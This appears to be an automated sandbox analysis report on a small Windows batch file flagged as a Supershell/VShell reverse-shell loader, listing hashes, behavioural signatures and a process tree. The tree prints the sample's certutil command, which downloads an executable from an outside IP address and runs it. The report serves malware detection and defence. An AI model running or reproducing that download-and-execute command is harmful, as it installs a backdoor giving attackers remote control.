Analysis
- max time kernel
148s - max time network
98s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
17/09/2026, 12:13
Static task
static1
Behavioral task
behavioral1
Sample
windows.bat
Resource
win10v2004-20260911-en
windows10-2004-x64
9 signatures
150 seconds
Behavioral task
behavioral2
Sample
windows.bat
Resource
win11ltsc2024-20260911-en
windows11-ltsc_2024-x64
9 signatures
150 seconds
General
- Target windows.bat
- Size 500B
- Sample260917-pd66ra1anb
- SHA256 fb9ce06f2e7b8fe4db88200bd0febe28481401fd357654b74eaeacba16e6eb79
- MD5 291eb510b06e012a81243235708b5f64
- SHA1 f5c50cab19563c7026cab1753c8a05540a3d7d0e
- SHA512 b54a92d05972589989a3da419dcb59aab37033de889b8953e40d8effc5254bb9efd44a55ac87dda93945e49d5ed763b18e22d435ede6868ec673ffe115eaeb52
- TLSH T12FF09ECD343605B50B82C913779278C1B28B40C286B0D589B98021DA0F452DC5BFFE93
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Signatures
- Family: Supershell
Supershell is a cross-platfrom reverse shell written in Golang.
- Detects VSHELL Backdoor 1 IoCs
resource yara_rule behavioral2/memory/2328-7-0x0000000067700000-0x0000000067F34000-memory.dmp family_vshell - Downloads MZ/PE file 2 IoCs
flow pid Process 1 3252 certutil.exe 2 3252 certutil.exe - Executes dropped EXE 1 IoCs
pid Process 2328 79d1174dtcp.exe - Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4012 cmd.exe 5832 cmd.exe - Suspicious behavior: EnumeratesProcesses 5 IoCs
pid Process 2780 WMIC.exe 2780 WMIC.exe 2780 WMIC.exe 2780 WMIC.exe 2328 79d1174dtcp.exe - Suspicious use of AdjustPrivilegeToken 42 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 2780 WMIC.exe Token: SeSecurityPrivilege 2780 WMIC.exe Token: SeTakeOwnershipPrivilege 2780 WMIC.exe Token: SeLoadDriverPrivilege 2780 WMIC.exe Token: SeSystemProfilePrivilege 2780 WMIC.exe Token: SeSystemtimePrivilege 2780 WMIC.exe Token: SeProfSingleProcessPrivilege 2780 WMIC.exe Token: SeIncBasePriorityPrivilege 2780 WMIC.exe Token: SeCreatePagefilePrivilege 2780 WMIC.exe Token: SeBackupPrivilege 2780 WMIC.exe Token: SeRestorePrivilege 2780 WMIC.exe Token: SeShutdownPrivilege 2780 WMIC.exe Token: SeDebugPrivilege 2780 WMIC.exe Token: SeSystemEnvironmentPrivilege 2780 WMIC.exe Token: SeRemoteShutdownPrivilege 2780 WMIC.exe Token: SeUndockPrivilege 2780 WMIC.exe Token: SeManageVolumePrivilege 2780 WMIC.exe Token: 33 2780 WMIC.exe Token: 34 2780 WMIC.exe Token: 35 2780 WMIC.exe Token: 36 2780 WMIC.exe Token: SeIncreaseQuotaPrivilege 2780 WMIC.exe Token: SeSecurityPrivilege 2780 WMIC.exe Token: SeTakeOwnershipPrivilege 2780 WMIC.exe Token: SeLoadDriverPrivilege 2780 WMIC.exe Token: SeSystemProfilePrivilege 2780 WMIC.exe Token: SeSystemtimePrivilege 2780 WMIC.exe Token: SeProfSingleProcessPrivilege 2780 WMIC.exe Token: SeIncBasePriorityPrivilege 2780 WMIC.exe Token: SeCreatePagefilePrivilege 2780 WMIC.exe Token: SeBackupPrivilege 2780 WMIC.exe Token: SeRestorePrivilege 2780 WMIC.exe Token: SeShutdownPrivilege 2780 WMIC.exe Token: SeDebugPrivilege 2780 WMIC.exe Token: SeSystemEnvironmentPrivilege 2780 WMIC.exe Token: SeRemoteShutdownPrivilege 2780 WMIC.exe Token: SeUndockPrivilege 2780 WMIC.exe Token: SeManageVolumePrivilege 2780 WMIC.exe Token: 33 2780 WMIC.exe Token: 34 2780 WMIC.exe Token: 35 2780 WMIC.exe Token: 36 2780 WMIC.exe - Suspicious use of WriteProcessMemory 5 IoCs
description pid Process procid_target PID 4012 wrote to memory of 5832 4012 cmd.exe 88 PID 5832 wrote to memory of 2780 5832 cmd.exe 89 PID 5832 wrote to memory of 832 5832 cmd.exe 90 PID 4012 wrote to memory of 3252 4012 cmd.exe 92 PID 4012 wrote to memory of 2328 4012 cmd.exe 93
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\windows.bat"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4012 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic os get osarchitecture | findstr 642⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5832 -
C:\Windows\System32\Wbem\WMIC.exewmic os get osarchitecture3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2780
-
-
C:\Windows\system32\findstr.exefindstr 643⤵PID:832
-
-
-
C:\Windows\system32\certutil.execertutil.exe -urlcache -split -f "http://47.92.216.249:8084/?h=47.92.216.249&p=8084&t=tcp&a=w64&stage=true" "C:\Users\Public\79d1174dtcp.exe"2⤵
- Downloads MZ/PE file
PID:3252
-
-
C:\Users\Public\79d1174dtcp.exe"C:\Users\Public\79d1174dtcp.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:2328
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Public\79d1174dtcp.exe
- Size 3KB
- SHA256 0ce8828acc59233bfbfbd0f47f58319910f253a7a09e4a43c83458ca15c25b84
- MD5 8d0dde73e322f8331e1776eca1bb5441
- SHA1 2194ba3289460ad9978d2739a6e99399294c7e24
- SHA512 d8c871ca389b8ed64a5e1d47311244baa137677bd62845880029cd96100195544508ef4031d97cc2d41c249f754afe615d600652256a8ea0aa1f7eee67b7874f
- TLSH T13E71B58160505AF2D94DE37FC487B8D5FD4EB24CA2C80B0B0798981A2F7547BB0D9613
- MD5 SHA1 SHA512 TLSH